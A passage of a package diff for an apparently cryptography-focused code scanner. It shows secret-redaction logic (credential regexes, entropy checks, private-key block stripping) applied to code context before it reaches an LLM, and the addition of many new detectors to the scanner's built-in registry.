/\\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\\b/g, // OpenAI\n /\\b[rs]k_live_[A-Za-z0-9]{20,255}\\b/g, // Stripe\n /\\bAIza[A-Za-z0-9_-]{35}\\b/g, // Google API key\n /\\bglpat-[A-Za-z0-9_-]{20,255}\\b/g, // GitLab PAT\n /\\beyJ[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{6,4096}\\b/g, // JWT\n // Assignment of a secret-looking key (.env / config lines).\n /(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)[\"'`]?\\s*[:=]\\s*[\"'`]?[^\\s\"'`,;]{6,4096}/gi,\n /\\b[0-9a-fA-F]{40,4096}\\b/g, // long hex run (≥20 bytes)\n /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)\n];\n\n/** Shannon entropy of a string, in bits per character. */\nfunction shannonEntropy(s: string): number {\n const freq = new Map<string, number>();\n for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);\n let e = 0;\n for (const n of freq.values()) {\n const p = n / s.length;\n e -= p * Math.log2(p);\n }\n return e;\n}\n\n/**\n * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}\n * above miss (custom / novel key formats not tied to a known vendor prefix).\n * Best-effort and biased toward over-redaction (safe): only a *long*,\n * *high-entropy*, *charset-diverse* run is replaced, so ordinary code\n * identifiers, words, and prose are left intact for the LLM to work with.\n */\nconst HIGH_ENTROPY_RUN = /[A-Za-z0-9_\\-+/=.]{24,256}/g;\nfunction redactHighEntropy(text: string): { text: string; redacted: boolean } {\n let redacted = false;\n const out = text.replace(HIGH_ENTROPY_RUN, (m) => {\n const classes =\n (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);\n const hasSpecial = /[+/=_-]/.test(m);\n // Random secrets are charset-diverse AND high-entropy; identifiers usually\n // fail one of these (an identifier has repetition / structure → lower entropy).\n if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {\n redacted = true;\n return REDACTED;\n }\n return m;\n });\n return { text: out, redacted };\n}\n\n/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of\n * a missing END marker — a truncated key is still fully redacted). */\nfunction redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {\n const begin =\n /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;\n const end = /-----END /;\n let redacted = false;\n let inKey = false;\n const out: string[] = [];\n for (const line of text.split(\"\\n\")) {\n if (!inKey && begin.test(line)) {\n inKey = true;\n redacted = true;\n out.push(REDACTED);\n continue;\n }\n if (inKey) {\n if (end.test(line)) inKey = false;\n continue; // drop key-body / END lines\n }\n out.push(line);\n }\n return { text: out.join(\"\\n\"), redacted };\n}\n\n// Single-entry memo: same-file findings re-request the identical file content;\n// this makes the whole-file redaction O(n) across all of them instead of O(n·k).\nlet memoInput: string | undefined;\nlet memoResult: { text: string; redacted: boolean } | undefined;\n\n/** Replace every secret-looking token/block in `text` with {@link REDACTED}.\n * Fails CLOSED: on oversized input or any error, the whole text is redacted. */\nfunction stripSecrets(text: string): { text: string; redacted: boolean } {\n if (memoInput === text && memoResult) return memoResult;\n let result: { text: string; redacted: boolean };\n if (text.length > MAX_SECRET_SCAN) {\n result = { text: REDACTED, redacted: true };\n } else {\n try {\n const pem = redactPrivateKeyBlocks(text);\n let out = pem.text;\n let redacted = pem.redacted;\n for (const re of TOKEN_PATTERNS) {\n out = out.replace(re, () => {\n redacted = true;\n return REDACTED;\n });\n }\n // Best-effort entropy catch-all for novel token shapes the named patterns miss.\n const ent = redactHighEntropy(out);\n out = ent.text;\n redacted = redacted || ent.redacted;\n result = { text: out, redacted };\n } catch {\n result = { text: REDACTED, redacted: true };\n }\n }\n memoInput = text;\n memoResult = result;\n return result;\n}\n\n/** Best-effort enclosing brace/colon block around a 0-based line index. */\nfunction enclosingBlock(lines: string[], idx: number): string {\n let start = idx;\n while (start > 0 && !/[{:]\\s*$/.test(lines[start - 1] ?? \"\")) start--;\n let end = idx;\n let depth = 0;\n for (let i = start; i < lines.length; i++) {\n const line = lines[i] ?? \"\";\n depth += (line.match(/{/g) ?? []).length - (line.match(/}/g) ?? []).length;\n end = i;\n if (i > idx && depth <= 0) break;\n }\n return lines.slice(start, end + 1).join(\"\\n\");\n}\n\n/**\n * Build the redacted context for `finding` at `level`. `fileContent` is the full\n * text of the file the finding lives in (unused at `metadata` level). Secrets\n * are always removed; a `sensitive` finding yields `code: null`.\n */\nexport function buildContext(\n finding: Finding,\n level: ContextLevel,\n fileContent: string,\n): RedactedContext {\n const meta = {\n ruleId: finding.ruleId,\n algorithm: finding.algorithm,\n severity: finding.severity,\n hndl: finding.hndl,\n file: finding.location.file,\n line: finding.location.line,\n message: finding.message,\n };\n // Sensitive findings never emit code, at any level.\n if (finding.sensitive) return { level, meta, code: null, redactedSecret: true };\n if (level === \"metadata\") return { level, meta, code: null, redactedSecret: false };\n\n const lines = fileContent.split(\"\\n\");\n let code: string;\n if (level === \"file\") {\n code = fileContent;\n } else if (level === \"function\") {\n code = enclosingBlock(lines, finding.location.line - 1);\n } else {\n const i = finding.location.line - 1;\n code = lines.slice(Math.max(0, i - SNIPPET_RADIUS), i + SNIPPET_RADIUS + 1).join(\"\\n\");\n }\n const { text, redacted } = stripSecrets(code);\n return { level, meta, code: text, redactedSecret: redacted };\n}\n\n/** Render the exact payload text a `--dry-run` preflight would send. */\nexport function renderPreflight(contexts: RedactedContext[]): string {\n return contexts\n .map((c) => {\n const flags = `level=${c.level}${c.redactedSecret ? \", secret-redacted\" : \"\"}`;\n const head = `[${c.meta.severity}] ${c.meta.ruleId} ${c.meta.file}:${c.meta.line} (${flags})`;\n return c.code ? `${head}\\n${c.code}` : head;\n })\n .join(\"\\n\\n---\\n\\n\");\n}\n"]}
@@ -51,8 +51,8 @@ export declare class DetectorRegistry {
51
51
  /**
52
52
  * The built-in detectors, in run order: the JS/TS source + config detectors,
53
53
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
54
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
55
- * handled separately by `scan()`.
54
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
55
+ * manifest (dependency) scanner is handled separately by `scan()`.
56
56
  *
57
57
  * This is the single source of truth for the default detector set: both
58
58
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -1 +1 @@
1
- {"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAWpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EAUtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}
1
+ {"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AA2BpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EA0BtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}
package/dist/registry.js CHANGED
@@ -5,8 +5,24 @@ import { javaDetector } from "./detectors/java.js";
5
5
  import { csharpDetector } from "./detectors/csharp.js";
6
6
  import { rustDetector } from "./detectors/rust.js";
7
7
  import { rubyDetector } from "./detectors/ruby.js";
8
+ import { phpDetector } from "./detectors/php.js";
9
+ import { elixirDetector } from "./detectors/elixir.js";
8
10
  import { cDetector } from "./detectors/c.js";
9
11
  import { pemDetector } from "./detectors/pem.js";
12
+ import { jwkDetector } from "./detectors/jwk.js";
13
+ import { terraformDetector } from "./detectors/terraform.js";
14
+ import { cloudKmsDetector } from "./detectors/cloud-kms.js";
15
+ import { cicdDetector } from "./detectors/cicd.js";
16
+ import { secretsDetector } from "./detectors/secrets.js";
17
+ import { joseDetector } from "./detectors/jose.js";
18
+ import { k8sDetector } from "./detectors/k8s.js";
19
+ import { messagingDetector } from "./detectors/messaging.js";
20
+ import { databaseDetector } from "./detectors/database.js";
21
+ import { cloudformationDetector } from "./detectors/cloudformation.js";
22
+ import { meshDetector } from "./detectors/mesh.js";
23
+ import { dnssecDetector } from "./detectors/dnssec.js";
24
+ import { vpnDetector } from "./detectors/vpn.js";
25
+ import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
10
26
  /** Normalised scope of a detector (defaults to "source" when undeclared). */
11
27
  export function detectorScope(d) {
12
28
  return d.scope ?? "source";
@@ -83,8 +99,8 @@ export class DetectorRegistry {
83
99
  /**
84
100
  * The built-in detectors, in run order: the JS/TS source + config detectors,
85
101
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
86
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
87
- * handled separately by `scan()`.
102
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
103
+ * manifest (dependency) scanner is handled separately by `scan()`.
88
104
  *
89
105
  * This is the single source of truth for the default detector set: both
90
106
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -98,8 +114,24 @@ export const builtinDetectors = [
98
114
  csharpDetector,
99
115
  rustDetector,
100
116
  rubyDetector,
117
+ phpDetector,
118
+ elixirDetector,
101
119
  cDetector,
102
120
  pemDetector,
121
+ jwkDetector,
122
+ terraformDetector,
123
+ cloudKmsDetector,
124
+ cicdDetector,
125
+ secretsDetector,
126
+ joseDetector,
127
+ k8sDetector,
128
+ messagingDetector,
129
+ databaseDetector,
130
+ cloudformationDetector,
131
+ meshDetector,
132
+ dnssecDetector,
133
+ vpnDetector,
134
+ statefulHbsDetector,
103
135
  ];
104
136
  /**
105
137
  * The default registry, preloaded with {@link builtinDetectors}. Used by
@@ -1 +1 @@
1
- {"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Detector registry — the plugin point for source/config detectors.\n *\n * Instead of `scan()` closing over a hardcoded array and inferring scope from\n * ruleId prefixes, detectors are registered with a declared `scope` and\n * `language` (see {@link Detector}). `scan()` consults a registry (the\n * {@link defaultRegistry} by default, or an explicit `detectors` override) and\n * honours the source/config toggles by each detector's declared scope.\n *\n * To add a language or detector, see the \"Adding a detector / language\" section\n * of the package README.\n */\nimport type { Detector, DetectorScope, RuleMeta } from \"./types.js\";\nimport { sourceDetectors } from \"./detectors/source.js\";\nimport { pythonDetector } from \"./detectors/python.js\";\nimport { goDetector } from \"./detectors/go.js\";\nimport { javaDetector } from \"./detectors/java.js\";\nimport { csharpDetector } from \"./detectors/csharp.js\";\nimport { rustDetector } from \"./detectors/rust.js\";\nimport { rubyDetector } from \"./detectors/ruby.js\";\nimport { phpDetector } from \"./detectors/php.js\";\nimport { elixirDetector } from \"./detectors/elixir.js\";\nimport { cDetector } from \"./detectors/c.js\";\nimport { pemDetector } from \"./detectors/pem.js\";\nimport { jwkDetector } from \"./detectors/jwk.js\";\nimport { terraformDetector } from \"./detectors/terraform.js\";\nimport { cloudKmsDetector } from \"./detectors/cloud-kms.js\";\nimport { cicdDetector } from \"./detectors/cicd.js\";\nimport { secretsDetector } from \"./detectors/secrets.js\";\nimport { joseDetector } from \"./detectors/jose.js\";\nimport { k8sDetector } from \"./detectors/k8s.js\";\nimport { messagingDetector } from \"./detectors/messaging.js\";\nimport { databaseDetector } from \"./detectors/database.js\";\nimport { cloudformationDetector } from \"./detectors/cloudformation.js\";\nimport { meshDetector } from \"./detectors/mesh.js\";\nimport { dnssecDetector } from \"./detectors/dnssec.js\";\nimport { vpnDetector } from \"./detectors/vpn.js\";\nimport { statefulHbsDetector } from \"./detectors/stateful-hbs.js\";\n\n/** Normalised scope of a detector (defaults to \"source\" when undeclared). */\nexport function detectorScope(d: Detector): DetectorScope {\n return d.scope ?? \"source\";\n}\n\n/** A rule plus the detector that emits it — the result of {@link DetectorRegistry.forRule}. */\nexport interface RuleCatalogEntry {\n rule: RuleMeta;\n detector: Detector;\n}\n\n/**\n * An ordered, id-indexed collection of detectors. Registration order is\n * preserved by {@link all} for deterministic scan output. Ids must be unique.\n */\nexport class DetectorRegistry {\n private readonly byId = new Map<string, Detector>();\n private readonly order: string[] = [];\n\n /** Construct a registry, optionally seeded with an initial detector set. */\n constructor(initial: readonly Detector[] = []) {\n for (const d of initial) this.register(d);\n }\n\n /** Register a detector. Throws on a duplicate id. Returns `this` for chaining. */\n register(d: Detector): this {\n if (this.byId.has(d.id)) {\n throw new Error(`duplicate detector id: ${d.id}`);\n }\n this.byId.set(d.id, d);\n this.order.push(d.id);\n return this;\n }\n\n /** Look up a detector by its id (exact, not prefix). */\n get(id: string): Detector | undefined {\n return this.byId.get(id);\n }\n\n /** True if a detector with this id is registered. */\n has(id: string): boolean {\n return this.byId.has(id);\n }\n\n /** All registered detectors, in registration order. */\n all(): Detector[] {\n return this.order.map((id) => this.byId.get(id)!);\n }\n\n /**\n * The flattened rule catalog: every {@link RuleMeta} declared by every\n * registered detector, in detector-registration then in-detector order. This\n * is the single source of truth for rule metadata consumed by SARIF\n * `rules[]`, the MCP `explain_finding` resolver, and per-rule enable/disable.\n * Duplicate rule ids across detectors throw (ids are globally unique).\n */\n ruleCatalog(): RuleMeta[] {\n const out: RuleMeta[] = [];\n const seen = new Set<string>();\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (seen.has(rule.id)) {\n throw new Error(`duplicate rule id in catalog: ${rule.id}`);\n }\n seen.add(rule.id);\n out.push(rule);\n }\n }\n return out;\n }\n\n /** Resolve a rule id to its {@link RuleMeta} and the detector that emits it. */\n forRule(ruleId: string): RuleCatalogEntry | undefined {\n for (const det of this.all()) {\n for (const rule of det.rules ?? []) {\n if (rule.id === ruleId) return { rule, detector: det };\n }\n }\n return undefined;\n }\n\n /** A shallow copy of this registry (useful to extend the defaults). */\n clone(): DetectorRegistry {\n return new DetectorRegistry(this.all());\n }\n}\n\n/**\n * The built-in detectors, in run order: the JS/TS source + config detectors,\n * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),\n * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The\n * manifest (dependency) scanner is handled separately by `scan()`.\n *\n * This is the single source of truth for the default detector set: both\n * {@link defaultRegistry} and the public `detectors` export (re-exported from\n * `scan.ts`) are built from it, so the two can never drift out of sync.\n */\nexport const builtinDetectors: Detector[] = [\n ...sourceDetectors,\n pythonDetector,\n goDetector,\n javaDetector,\n csharpDetector,\n rustDetector,\n rubyDetector,\n phpDetector,\n elixirDetector,\n cDetector,\n pemDetector,\n jwkDetector,\n terraformDetector,\n cloudKmsDetector,\n cicdDetector,\n secretsDetector,\n joseDetector,\n k8sDetector,\n messagingDetector,\n databaseDetector,\n cloudformationDetector,\n meshDetector,\n dnssecDetector,\n vpnDetector,\n statefulHbsDetector,\n];\n\n/**\n * The default registry, preloaded with {@link builtinDetectors}. Used by\n * `scan()` whenever `options.detectors` is not supplied.\n */\nexport const defaultRegistry = new DetectorRegistry(builtinDetectors);\n"]}
@@ -33,6 +33,9 @@ export interface RemediateOptions {
33
33
